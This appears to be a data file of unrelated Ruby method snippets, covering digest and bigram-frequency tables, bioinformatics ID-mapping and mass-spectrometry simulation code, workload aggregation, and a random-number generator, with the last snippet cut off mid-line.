"def digests_data\n {\n '1' => '7a8a3dad389031160f79817c14bb5f3adf058335',\n '2' => '8d4fc3e19f141135ca59f0ba5d9e8b634f04840e',\n '3' => '88f879b8aa22eb340019449955accdca62886f64',\n '4' => 'dba9f7cc5b15cc2eee74a288e6c04431d2f5e509',\n '5' => 'febf0d5b94e4dd2cd23f3a9cd515641885a50980',\n '6' => '2628bf51107c4c5cd581179df5d1148821f8a7a8',\n '7' => '83f929fdce5dfe931f9ccc6af49e2cfd436740f4',\n '8' => '5f9e781563ab48e7a67ec4500321b1ebe553f3fc',\n '9' => '8b14bf8dfa2bc7d74443cd9c4a0d836f1341becb',\n '10' => '5442273b216f7c843de10acc57c33638f7848f74',\n '11' => '3871068443e406fbff7ad6f91bd395bf9482a259',\n '12' => '9e52c47b63dd968ba2349779a86986eff2f2b860',\n '13' => '658ba6008127dc4e61eb5bbe70ec69be5524b845'\n }\n end",
"def grab_good_ids(clean_url_crm_ids, score_ids)\n clean_url_crm_ids.select { |sfdc_id| score_ids.include?(sfdc_id) }\n end",
"def dids_911\n dids_911_list ? dids_911_list.collection : []\n end",
"def do_id_query(ids)\n responses = []\n ids.each do |k, v|\n new_key_value = map_key(k, v)\n next if new_key_value.blank? #we probably have bad ISBN, could be bad key though\n responses << get_thing(new_key_value)\n end\n selected = responses.map { |r| r['result'] }.flatten.compact.uniq\n return selected\n end",
"def split_upids(idmap_file)\n puts \"split idmapping.dat to each prefix files\"\n up_refp_output = prepare_prefix_files(idmap_file, \"protein_id\")\n up_refg_output = prepare_prefix_files(idmap_file, \"gene_id\")\n\n cnt = 0\n # it is assumed that the tax_id is followed by a protein_id or gene_id\n current_tax = {upid: nil, tax_id: nil}\n taxid_missing_list = [] \n File.open(idmap_file, \"r\") do |f|\n f.each_line do |line|\n up, xref, id = line.strip.split(\"\\t\")\n case xref\n when \"NCBI_TaxID\"\n current_tax = {upid: up.split(\"-\").first, tax_id: id}\n when \"RefSeq\", \"GeneID\"\n # Push only the tax_id with refseq protein_id or gene_id\n if current_tax[:upid] == up.split(\"-\").first\n if xref == \"RefSeq\"\n prefix = id.chomp.strip[0..4]\n up_refp_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n elsif xref == \"GeneID\"\n prefix = id.chomp.strip[0]\n up_refg_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n end\n else\n taxid_missing_list.push(up)\n end\n end\n cnt += 1\n if (cnt % 100000 == 0)\n puts cnt\n end\n end\n # list of upid that can't get taxid. Depends on the order of idmapping.dat\n out = File.open(\"taxid_missing_list.json\", \"w\") unless taxid_missing_list.size == 0\n taxid_missing_list.each do |upid|\n out.puts JSON.pretty_generate(taxid_missing_list)\n end\n end\n\n # close files\n up_refp_output.each do |k, v|\n v.flush\n v.close\n end\n up_refg_output.each do |k, v|\n v.flush\n v.close\n end\nend",
"def full_bigram_counts\n {\n'TH' => 116997844,\n'HE' => 100689263,\n'IN' => 87674002,\n'ER' => 77134382,\n'AN' => 69775179,\n'RE' => 60923600,\n'ES' => 57070453,\n'ON' => 56915252,\n'ST' => 54018399,\n'NT' => 50701084,\n'EN' => 48991276,\n'AT' => 48274564,\n'ED' => 46647960,\n'ND' => 46194306,\n'TO' => 46115188,\n'OR' => 45725191,\n'EA' => 43329810,\n'TI' => 42888666,\n'AR' => 42353262,\n'TE' => 42295813,\n'NG' => 38567365,\n'AL' => 38211584,\n'IT' => 37938534,\n'AS' => 37773878,\n'IS' => 37349981,\n'HA' => 35971841,\n'ET' => 32872552,\n'SE' => 31532272,\n'OU' => 31112284,\n'OF' => 30540904,\n'LE' => 30383262,\n'SA' => 30080131,\n'VE' => 29320973,\n'RO' => 29230770,\n'RA' => 28645577,\n'RI' => 27634643,\n'HI' => 27495342,\n'NE' => 27331675,\n'ME' => 27237733,\n'DE' => 27029835,\n'CO' => 26737101,\n'TA' => 26147593,\n'EC' => 25775798,\n'SI' => 25758841,\n'LL' => 24636875,\n'SO' => 23903631,\n'NA' => 23547524,\n'LI' => 23291169,\n'LA' => 23178317,\n'EL' => 23092248,\n'MA' => 21828378,\n'DI' => 21673998,\n'IC' => 21468412,\n'RT' => 21456059,\n'NS' => 21306421,\n'RS' => 21237259,\n'IO' => 21210160,\n'OM' => 21066156,\n'CH' => 20132750,\n'OT' => 20088048,\n'CA' => 19930754,\n'CE' => 19803619,\n'HO' => 19729026,\n'BE' => 19468489,\n'TT' => 19367472,\n'FO' => 18923772,\n'TS' => 18922522,\n'SS' => 18915696,\n'NO' => 18894111,\n'EE' => 18497942,\n'EM' => 18145294,\n'AC' => 17904683,\n'IL' => 17877600,\n'DA' => 17584055,\n'NI' => 17452104,\n'UR' => 17341717,\n'WA' => 16838794,\n'SH' => 16773127,\n'EI' => 16026915,\n'AM' => 15975981,\n'TR' => 15821226,\n'DT' => 15759673,\n'US' => 15699353,\n'LO' => 15596310,\n'PE' => 15573318,\n'UN' => 15237699,\n'NC' => 15214623,\n'WI' => 15213018,\n'UT' => 15137169,\n'AD' => 14877234,\n'EW' => 14776406,\n'OW' => 14610429,\n'GE' => 14425023,\n'EP' => 14024377,\n'AI' => 13974919,\n'LY' => 13742031,\n'OL' => 13726491,\n'FT' => 13696078,\n'OS' => 13596265,\n'EO' => 13524186,\n'EF' => 13252227,\n'PR' => 13191182,\n'WE' => 13185116,\n'DO' => 13120322,\n'MO' => 12950768,\n'ID' => 12896787,\n'IE' => 12505546,\n'MI' => 12168944,\n'PA' => 12068709,\n'FI' => 11993833,\n'PO' => 11917535,\n'CT' => 11888752,\n'WH' => 11852909,\n'IR' => 11681353,\n'AY' => 11523416,\n'GA' => 11239788,\n'SC' => 10800636,\n'KE' => 10650670,\n'EV' => 10574011,\n'SP' => 10570626,\n'IM' => 10544422,\n'OP' => 10459455,\n'DS' => 10429887,\n'LD' => 10245579,\n'UL' => 10173468,\n'OO' => 10168856,\n'SU' => 10031005,\n'IA' => 10002012,\n'GH' => 9880399,\n'PL' => 9812226,\n'EB' => 9738798,\n'IG' => 9530574,\n'VI' => 9380037,\n'IV' => 9129232,\n'WO' => 9106647,\n'YO' => 9088497,\n'RD' => 9025637,\n'TW' => 8910254,\n'BA' => 8867461,\n'AG' => 8809266,\n'RY' => 8788539,\n'AB' => 8775582,\n'LS' => 8675452,\n'SW' => 8673234,\n'AP' => 8553911,\n'FE' => 8529289,\n'TU' => 8477495,\n'CI' => 8446084,\n'FA' => 8357929,\n'HT' => 8351551,\n'FR' => 8339376,\n'AV' => 8288885,\n'EG' => 8286463,\n'GO' => 8188708,\n'BO' => 8172395,\n'BU' => 8113271,\n'TY' => 8008918,\n'MP' => 7835172,\n'OC' => 7646952,\n'OD' => 7610214,\n'EH' => 7559141,\n'YS' => 7539621,\n'EY' => 7528342,\n'RM' => 7377989,\n'OV' => 7350014,\n'GT' => 7347990,\n'YA' => 7239548,\n'CK' => 7205091,\n'GI' => 7103140,\n'RN' => 7064635,\n'GR' => 6989963,\n'RC' => 6974063,\n'BL' => 6941044,\n'LT' => 6817273,\n'YT' => 6714151,\n'OA' => 6554221,\n'YE' => 6499305,\n'OB' => 6212512,\n'DB' => 6106719,\n'FF' => 6085519,\n'SF' => 6073995,\n'RR' => 5896212,\n'DU' => 5861311,\n'KI' => 5814357,\n'UC' => 5742385,\n'IF' => 5740414,\n'AF' => 5702567,\n'DR' => 5701879,\n'CL' => 5683204,\n'EX' => 5649363,\n'SM' => 5580755,\n'PI' => 5559210,\n'SB' => 5553684,\n'CR' => 5514347,\n'TL' => 5403137,\n'OI' => 5336616,\n'RU' => 5330557,\n'UP' => 5306948,\n'BY' => 5232074,\n'TC' => 5196817,\n'NN' => 5180899,\n'AK' => 5137311,\n'SL' => 4965012,\n'NF' => 4950333,\n'UE' => 4927837,\n'DW' => 4906814,\n'AU' => 4884168,\n'PP' => 4873393,\n'UG' => 4832325,\n'RL' => 4803246,\n'RG' => 4645938,\n'BR' => 4621080,\n'CU' => 4604045,\n'UA' => 4589997,\n'DH' => 4585765,\n'RK' => 4491400,\n'YI' => 4461214,\n'LU' => 4402940,\n'UM' => 4389720,\n'BI' => 4356462,\n'NY' => 4343290,\n'NW' => 4215967,\n'QU' => 4169424,\n'OG' => 4163126,\n'SN' => 4157990,\n'MB' => 4121764,\n'VA' => 4111375,\n'DF' => 4033878,\n'DD' => 4001275,\n'MS' => 3922855,\n'GS' => 3920675,\n'AW' => 3918960,\n'NH' => 3915410,\n'PU' => 3858148,\n'HR' => 3843001,\n'SD' => 3842250,\n'TB' => 3815459,\n'PT' => 3812475,\n'NM' => 3796928,\n'DC' => 3782481,\n'GU' => 3768430,\n'TM' => 3759861,\n'MU' => 3755834,\n'NU' => 3732602,\n'MM' => 3730508,\n'NL' => 3692985,\n'EU' => 3674130,\n'WN' => 3649615,\n'NB' => 3602692,\n'RP' => 3588188,\n'DM' => 3544905,\n'SR' => 3513808,\n'UD' => 3499535,\n'UI' => 3481482,\n'RF' => 3436232,\n'OK' => 3397570,\n'YW' => 3379064,\n'TF' => 3368452,\n'IP' => 3348621,\n'RW' => 3348005,\n'RB' => 3346212,\n'OH' => 3254659,\n'KS' => 3227333,\n'DP' => 3145043,\n'FU' => 3138900,\n'YC' => 3128053,\n'TP' => 3070427,\n'MT' => 3055946,\n'DL' => 3050945,\n'NK' => 3043200,\n'CC' => 3026492,\n'UB' => 2990868,\n'RH' => 2968706,\n'NP' => 2968126,\n'JU' => 2924815,\n'FL' => 2890839,\n'DN' => 2840522,\n'KA' => 2833038,\n'PH' => 2825344,\n'HU' => 2771830,\n'JO' => 2721345,\n'LF' => 2702522,\n'YB' => 2696786,\n'RV' => 2692445,\n'OE' => 2616308,\n'IB' => 2598444,\n'IK' => 2585124,\n'YP' => 2581863,\n'GL' => 2576787,\n'LP' => 2543957,\n'YM' => 2516273,\n'LB' => 2463693,\n'HS' => 2462026,\n'DG' => 2442139,\n'GN' => 2426429,\n'EK' => 2411639,\n'NR' => 2393580,\n'PS' => 2377036,\n'TD' => 2346516,\n'LC' => 2328063,\n'SK' => 2321888,\n'YF' => 2305244,\n'YH' => 2291273,\n'VO' => 2253292,\n'AH' => 2225270,\n'DY' => 2218040,\n'LM' => 2216514,\n'SY' => 2214270,\n'NV' => 2194534,\n'YD' => 2122337,\n'FS' => 2047416,\n'SG' => 2043770,\n'YR' => 2021939,\n'YL' => 2013939,\n'WS' => 1988727,\n'MY' => 1949129,\n'OY' => 1932892,\n'KN' => 1903836,\n'IZ' => 1865802,\n'XP' => 1840696,\n'LW' => 1836811,\n'TN' => 1782119,\n'KO' => 1758001,\n'AA' => 1721143,\n'JA' => 1712763,\n'ZE' => 1709871,\n'FC' => 1570791,\n'GW' => 1567991,\n'TG' => 1530045,\n'XT' => 1509969,\n'FH' => 1507604,\n'LR' => 1505092,\n'JE' => 1487348,\n'YN' => 1485655,\n'GG' => 1468286,\n'GF' => 1465290,\n'EQ' => 1461436,\n'HY' => 1446451,\n'KT' => 1443985,\n'HC' => 1441057,\n'BS' => 1409672,\n'HW' => 1403223,\n'HN' => 1383958,\n'CS' => 1381608,\n'HM' => 1353001,\n'NJ' => 1342735,\n'HH' => 1329998,\n'WT' => 1301293,\n'GC' => 1299541,\n'LH' => 1274048,\n'EJ' => 1256993,\n'FM' => 1251312,\n'DV' => 1238565,\n'LV' => 1238287,\n'WR' => 1226755,\n'GP' => 1215204,\n'FP' => 1199845,\n'GB' => 1184377,\n'GM' => 1178511,\n'HL' => 1169468,\n'LK' => 1164186,\n'CY' => 1145316,\n'MC' => 1101727,\n'YG' => 1049082,\n'XI' => 1024736,\n'HB' => 1014004,\n'FW' => 1005903,\n'GY' => 979804,\n'HP' => 978649,\n'MW' => 937621,\n'PM' => 931225,\n'ZA' => 929119,\n'LG' => 926472,\n'IW' => 922059,\n'XA' => 904148,\n'FB' => 888155,\n'SV' => 882083,\n'GD' => 879792,\n'IX' => 879360,\n'AJ' => 870262,\n'KL' => 846309,\n'HF' => 834284,\n'HD' => 828755,\n'AE' => 815963,\n'SQ' => 800346,\n'DJ' => 799366,\n'FY' => 789961,\n'AZ' => 768359,\n'LN' => 752316,\n'AO' => 749566,\n'FD' => 748027,\n'KW' => 719633,\n'MF' => 715087,\n'MH' => 710864,\n'SJ' => 704442,\n'UF' => 701892,\n'TV' => 698150,\n'XC' => 697995,\n'YU' => 695512,\n'BB' => 689158,\n'WW' => 674610,\n'OJ' => 661082,\n'AX' => 660826,\n'MR' => 660619,\n'WL' => 657782,\n'XE' => 653947,\n'KH' => 650095,\n'OX' => 650078,\n'UO' => 649906,\n'ZI' => 644035,\n'FG' => 637758,\n'IH' => 610683,\n'TK' => 610333,\n'II' => 607124,\n'IU' => 576683,\n'TJ' => 559473,\n'MN' => 558397,\n'WY' => 553647,\n'KY' => 553296,\n'KF' => 537342,\n'FN' => 534362,\n'UY' => 531960,\n'PW' => 530411,\n'DK' => 525744,\n'RJ' => 518157,\n'UK' => 514873,\n'KR' => 507020,\n'KU' => 506618,\n'WM' => 505687,\n'KM' => 485617,\n'MD' => 481126,\n'ML' => 478528,\n'EZ' => 465466,\n'KB' => 457860,\n'WC' => 448394,\n'WD' => 432646,\n'HG' => 429607,\n'BT' => 428276,\n'ZO' => 424016,\n'KC' => 420017,\n'PF' => 418168,\n'YV' => 411487,\n'PC' => 400308,\n'PY' => 396147,\n'WB' => 394820,\n'YK' => 391953,\n'CP' => 382923,\n'YJ' => 378679,\n'KP' => 375653,\n'PB' => 369336,\n'CD' => 358435,\n'JI' => 357577,\n'UW' => 352732,\n'UH' => 339341,\n'WF' => 336213,\n'YY' => 332973,\n'WP' => 321746,\n'BC' => 320380,\n'AQ' => 315068,\n'CB' => 298053,\n'IQ' => 291635,\n'CM' => 285942,\n'MG' => 285133,\n'DQ' => 283314,\n'BJ' => 282608,\n'TZ' => 280007,\n'KD' => 277982,\n'PD' => 273162,\n'FJ' => 269865,\n'CF' => 267630,\n'NZ' => 266461,\n'CW' => 257253,\n'FV' => 244685,\n'VY' => 233082,\n'FK' => 228905,\n'OZ' => 228556,\n'ZZ' => 221275,\n'IJ' => 219128,\n'LJ' => 218362,\n'NQ' => 217422,\n'UV' => 212051,\n'XO' => 211173,\n'PG' => 211133,\n'HK' => 210385,\n'KG' => 209266,\n'VS' => 204093,\n'HV' => 197539,\n'BM' => 191807,\n'HJ' => 189906,\n'CN' => 188046,\n'GV' => 186777,\n'CG' => 181590,\n'WU' => 180884,\n'GJ' => 176947,\n'XH' => 166599,\n'GK' => 163830,\n'TQ' => 159111,\n'CQ' => 157546,\n'RQ' => 156933,\n'BH' => 154489,\n'XS' => 154347,\n'UZ' => 153736,\n'WK' => 148964,\n'XU' => 147533,\n'UX' => 144814,\n'BD' => 141752,\n'BW' => 140189,\n'WG' => 139890,\n'MV' => 136314,\n'MJ' => 134263,\n'PN' => 131645,\n'XM' => 127492,\n'OQ' => 122677,\n'BV' => 120081,\n'XW' => 119322,\n'KK' => 118811,\n'BP' => 115161,\n'ZU' => 113538,\n'RZ' => 113432,\n'XF' => 113031,\n'MK' => 111041,\n'ZH' => 107639,\n'BN' => 106125,\n'ZY' => 105871,\n'HQ' => 101241,\n'WJ' => 99435,\n'IY' => 98361,\n'DZ' => 98038,\n'VR' => 96416,\n'ZS' => 94993,\n'XY' => 94329,\n'CV' => 94224,\n'XB' => 94041,\n'XR' => 90046,\n'UJ' => 88168,\n'YQ' => 87953,\n'VD' => 85611,\n'PK' => 83017,\n'VU' => 82830,\n'JR' => 80471,\n'ZL' => 80039,\n'SZ' => 79840,\n'YZ' => 78281,\n'LQ' => 77148,\n'KJ' => 76816,\n'BF' => 75352,\n'NX' => 74844,\n'QA' => 73527,\n'QI' => 73387,\n'KV' => 73184,\n'ZW' => 68865,\n'WV' => 63930,\n'UU' => 63043,\n'VT' => 62912,\n'VP' => 62577,\n'XD' => 60101,\n'GQ' => 59750,\n'XL' => 59585,\n'VC' => 59024,\n'CZ' => 57914,\n'LZ' => 57314,\n'ZT' => 56955,\n'WZ' => 52836,\n'SX' => 50975,\n'ZB' => 50652,\n'VL' => 49032,\n'PV' => 48105,\n'FQ' => 47504,\n'PJ' => 47043,\n'ZM' => 46034,\n'VW' => 45608,\n'CJ' => 41526,\n'ZC' => 41037,\n'BG' => 40516,\n'JS' => 39326,\n'XG' => 39289,\n'RX' => 38654,\n'HZ' => 37066,\n'XX' => 35052,\n'VM' => 35024,\n'XN' => 34734,\n'QW' => 34669,\n'JP' => 34520,\n'VN' => 33082,\n'ZD' => 32906,\n'ZR' => 32685,\n'FZ' => 31186,\n'XV' => 31117,\n'ZP' => 30389,\n'VH' => 30203,\n'VB' => 29192,\n'ZF' => 28658,\n'GZ' => 28514,\n'TX' => 28156,\n'VF' => 28090,\n'DX' => 27413,\n'QB' => 27307,\n'BK' => 26993,\n'ZG' => 26369,\n'VG' => 25585,\n'JC' => 24770,\n'ZK' => 24262,\n'ZN' => 24241,\n'UQ' => 23386,\n'JM' => 22338,\n'VV' => 22329,\n'JD' => 21903,\n'MQ' => 21358,\n'JH' => 20960,\n'QS' => 20847,\n'JT' => 20408,\n'JB' => 19380,\n'FX' => 19313,\n'PQ' => 18607,\n'MZ' => 18271,\n'YX' => 16945,\n'QT' => 16914,\n'WQ' => 16245,\n'JJ' => 16085,\n'JW' => 16083,\n'LX' => 15467,\n'GX' => 14778,\n'JN' => 14452,\n'ZV' => 14339,\n'MX' => 14250,\n'JK' => 13967,\n'KQ' => 13905,\n'XK' => 13651,\n'JF' => 12640,\n'QM' => 12315,\n'QH' => 12273,\n'JL' => 12149,\n'JG' => 12023,\n'VK' => 11469,\n'VJ' => 11432,\n'KZ' => 11192,\n'QC' => 10667,\n'XJ' => 10629,\n'PZ' => 9697,\n'QL' => 9603,\n'QO' => 9394,\n'JV' => 8925,\n'QF' => 8778,\n'QD' => 8678,\n'BZ' => 8132,\n'HX' => 7526,\n'ZJ' => 7167,\n'PX' => 6814,\n'QP' => 6062,\n'QE' => 6020,\n'QR' => 5975,\n'ZQ' => 5773,\n'JY' => 5723,\n'BQ' => 5513,\n'XQ' => 5416,\n'CX' => 5300,\n'KX' => 5083,\n'WX' => 4678,\n'QY' => 4557,\n'QV' => 4212,\n'QN' => 3808,\n'VX' => 3192,\n'BX' => 3021,\n'JZ' => 2859,\n'VZ' => 2633,\n'QG' => 2567,\n'QQ' => 2499,\n'ZX' => 2463,\n'XZ' => 2082,\n'QK' => 2023,\n'VQ' => 1488,\n'QJ' => 1342,\n'QX' => 765,\n'JX' => 747,\n'JQ' => 722,\n'QZ' => 280\n}\n end",
"def get_qr_qwr_wl_lines_by_streams\r\n lines_by_streams = Hash.new\r\n # Create arrays for each stream\r\n Stream.find(:all).each do |s| \r\n # lines_by_streams[s.id] = Array.new\r\n lines_by_streams[s.id] = Hash.new\r\n lines_by_streams[s.id][\"prev\"] = 0\r\n lines_by_streams[s.id][\"sum\"] = 0\r\n lines_by_streams[s.id][\"qs_prev\"] = 0\r\n lines_by_streams[s.id][\"spider_prev\"] = 0\r\n lines_by_streams[s.id][\"qs_sum\"] = 0\r\n lines_by_streams[s.id][\"spider_sum\"] = 0\r\n end\r\n # Add wl_lines to corresponding stream\r\n wl_lines.each { |wl|\r\n if wl.project\r\n # Stream\r\n s = Stream.find_with_workstream(wl.project.workstream)\r\n # Previsional\r\n if(wl.wl_type == 110)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_prev\"] = lines_by_streams[s.id][\"qs_prev\"] + (wl.project.calcul_qs_previsional.to_f * APP_CONFIG['qs_load'].to_f)\r\n lines_by_streams[s.id][\"qs_sum\"] = lines_by_streams[s.id][\"qs_sum\"] + wl.planned_sum.to_f \r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n elsif(wl.wl_type == 120)\r\n lines_by_streams[s.id][\"prev\"] = lines_by_streams[s.id][\"prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_prev\"] = lines_by_streams[s.id][\"spider_prev\"] + (wl.project.calcul_spider_previsional.to_f * APP_CONFIG['spider_load'].to_f)\r\n lines_by_streams[s.id][\"spider_sum\"] = lines_by_streams[s.id][\"spider_sum\"] + wl.planned_sum.to_f\r\n lines_by_streams[s.id][\"sum\"] = lines_by_streams[s.id][\"sum\"] + wl.planned_sum.to_f\r\n end\r\n end \r\n }\r\n return lines_by_streams\r\n end",
"def bill_ids\n first_and_last_info_to_json.fetch(:bill_ids, [])\n end",
"def generate_primer_id_pool(l=8)\n nt = ['A','T','C','G']\n pid_pool = ['A','T','C','G']\n (l-1).times do\n pid_pool = pid_pool.product(nt)\n pid_pool.collect! do |v|\n v.join(\"\")\n end\n end\n return pid_pool\nend",
"def top_id\r\n (index - (index < @switch_max ? 0 : @switch_max)) * 10 + 1\r\n end",
"def get_seed_artist_ids\n artist_ids = tracks.flat_map { |track| track.artists.map(&:id) }\n\n artist_counts = Hash.new(0)\n artist_ids.each do |id|\n artist_counts[id] += 1\n end\n artist_counts = artist_counts.sort_by { |id, count| -count }.to_h\n\n multi_artists = artist_counts.select { |id, count| count > 1 }.to_h.keys\n\n if multi_artists.empty?\n []\n else\n multi_artists[0...2]\n end\n end",
"def offsets\n\t\t\tto_return = {}\n\t\t\tpiece_length = @parent.file_1.piece_length\n\t\t\t@difference_ids.each do |id|\n\t\t\t\tto_return[id] = id * piece_length\n\t\t\tend\n\t\t\treturn to_return\n\t\tend",
"def process! amount, offset, sorting = nil\n calculated_ids = calculate_ids amount, offset\n calculated_ids.sort_by! &sorting if sorting\n @count = calculated_ids.size # cache the count before throwing away the ids\n @ids = calculated_ids.slice!(offset, amount) || [] # slice out the relevant part\n end",
"def expand_ids(*ids, **opt)\n opt[:min_id] ||= minimum_id\n opt[:max_id] ||= maximum_id\n # noinspection RubyMismatchedReturnType\n ids.flatten.flat_map { |id|\n id.is_a?(String) ? id.strip.split(/\\s*,\\s*/) : id\n }.flat_map { |id|\n expand_id_range(id, **opt) if id.present?\n }.compact.uniq\n end",
"def getInts(pep)\n rt_helper = RetentionTime::Helper\n pep_id = pep[0]\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\n if p_int > 10\n p_int -= 10\n end\n predicted_int = (p_int * 10**-1) * 14183000.0 \n low = 0.1*predicted_int\n relative_ints = (@db.execute \"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n core_mzs = (@db.execute \"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n avg = pep[5] #p_rt\n\n sampling_rate = @opts[:sampling_rate].to_f\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from Hek_cells_100904050914 file\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\n # meta variance in any case\n mu = @opts[:mu].to_f\n\n index = 0\n sx = pep[9]\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\n\n shuff = rt_helper.RandomFloat(0.05,1.0)\n core_mzs.each_with_index do |mzmu,core_idx|\n\n relative_abundances_int = relative_ints[index]\n\n t_index = 1\n\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \n\n\n if !@one_d\n #-------------Tailing-------------------------\n shape = (tail * (t_index / sx)) + front\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\n t_index += 1\n #---------------------------------------------\n\n else\n #-----------Random 1d data--------------------\n int = (relative_abundances_int * ints_factor) * shuff\n #---------------------------------------------\n end\n\n if int < 0.01\n int = rt_helper.RandomFloat(0.001,0.4)\n end\n\n=begin\n if !@one_d\n #-------------M/Z Peak shape (Profile?)-------\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\n factor = fraction/1.0\n fin_ints[i] = fin_ints[i] * factor\n #---------------------------------------------\n end\n=end\t \n\n if int > 0.4\n #-------------Jagged-ness---------------------\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\n diff = (Distribution::Normal.rng(0,sd).call)\n int += diff\n #---------------------------------------------\n end\n\n #-------------mz wobble-----------------------\n wobble_mz = nil\n if int > 0\n wobble_int = wobA*int**wobB\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\n if wobble_mz < 0\n wobble_mz = 0.01\n end\n end\n #---------------------------------------------\n\n\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\n if int > low.abs and wobble_mz > 0\n @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\"\n# @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\"\n @cent_id += 1\n if @max_mz < wobble_mz\n @max_mz = wobble_mz\n end\n end\n end\n index += 1\n end\n end",
"def kp_get_modid(data)\n return data.map{|d| d.scan(/(?<m>M\\d{5})/)}.flatten.sort\nend",
"def camera_ids\n return Hash[1 => '101', 2 => '201', 3 => '201']\n end",
"def generate_numbers\n (0...ARRAY_LENGTH).each do |i|\n y = ((1 << 31) & @mt[i]) + ((2**31 -1) & (@mt[(i+1)%ARRAY_LENGTH] % ARRAY_LENGTH))\n @mt[i] = @mt[(i + 397) % ARRAY_LENGTH] ^ (y >> 1)\n if (y % 2) != 0\n @mt[i] = @mt[i] ^ GENERATE_CONST\n end\n end\n end",
"def right_numbers\n numbers_with_checksum[7,6]\n end",
"def cache_ids(use_pbar = @use_pbar)\n num_pep, num_db_seq, num_pep_ev = get_num_elements(nil)\n puts \"SPEC:\\t#{@num_spec}\"\n puts \"PEP:\\t#{num_pep}\"\n puts \"DB:\\t#{num_db_seq}\"\n puts \"PEPEV:\\t#{num_pep_ev}\"\n\n #pbar1 = ProgressBar.new(\"Caching psm\", num_pep) if use_pbar\n #reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n #reader.each do |node| \n #end\n\n @pep_h = Hash.new\n @mod_h = Hash.new\n #pbar = ProgressBar.new(\"Caching\", num_pep+num_db_seq+num_pep_ev) if use_pbar\n pbar1 = ProgressBar.new(\"peptides\", num_pep/2) if use_pbar\n reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n reader.each do |node|\n #\n if node.name == \"Peptide\" then\n #pbar.inc if use_pbar\n # parse local peptide entry\n tmp_node = Nokogiri::XML.parse(node.outer_xml)\n tmp_node.remove_namespaces!\n root = tmp_node.root \n pep_id = root[\"id\"].to_sym\n # skip if already handled PepID\n next if @pep_h.has_key?(pep_id)\n # parse sequence/mods if haven't seen it yet\n pep_seq = get_peptide_sequence(root)\n mod_line = get_modifications(root)\n @pep_h[pep_id] = pep_seq\n @mod_h[pep_id] = mod_line\n pbar1.inc if use_pbar\n end\n end\n pbar1.finish if use_pbar\n #\n pbar2 = ProgressBar.new(\"db_seq\", num_db_seq) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !line.match(/^\\s+<DBSequence\\s/)\n \n prot_id = line.match(/accession=\\\"([\\w|\\|]+)/)[1]\n db_id = line.match(/id=\\\"(\\w+)/)[1]\n \n @db_seq_h[db_id.to_sym] = prot_id.to_sym\n pbar2.inc if use_pbar\n end\n # reader2 = Nokogiri::XML::Reader(File.open(@mzid_file))\n # reader2.each do |node|\n # #\n # if node.name == \"DBSequence\" then\n # # parse local DBSequence entry\n # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # tmp_node.remove_namespaces!\n # root = tmp_node.root\n # cache_db_seq_entries(root)\n # pbar2.inc if use_pbar\n # end\n # end\n pbar2.finish if use_pbar\n #\n pbar3 = ProgressBar.new(\"pep_ev\", num_pep_ev) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !line.match(/^\\s+<PeptideEvidence\\s/)\n \n db_id = line.match(/dBSequence_ref=\\\"(\\w+)/)[1]\n pep_ev = line.match(/id=\\\"(\\w+)/)[1]\n @pep_ev_h_dbseqRef[pep_ev.to_sym] = db_id.to_sym\n pbar3.inc if use_pbar\n end\n # reader3 = Nokogiri::XML::Reader(File.open(@mzid_file))\n # reader3.each do |node|\n # if node.name == \"PeptideEvidence\" then\n # # parse local DBSequence entry\n # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # tmp_node.remove_namespaces!\n # root = tmp_node.root\n # cache_pep_ev(root)\n # pbar3.inc if use_pbar\n # end \n # # if node.name == \"PeptideEvidence\" then\n # # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # # root = tmp_node.root\n # # pep_ref = root.to_s.match(/peptide_ref=\\\"(\\w+)\\\"/)[1]\n # # id_ref = root.to_s.match(/id=\\\"(\\w+)\\\"/)[1]\n # # db_ref = root.to_s.match(/dBSequence_ref=\\\"(\\w+)\\\"/)[1]\n # # @pep_ev_h_dbseqRef[id_ref.to_sym] = db_ref.to_sym\n # # end\n # end \n pbar3.finish if use_pbar\n puts \"PEP_H SIZE:\\t#{@pep_h.size}\"\n puts \"DBSEQ_H SIZE:\\t#{@db_seq_h.size}\"\n puts 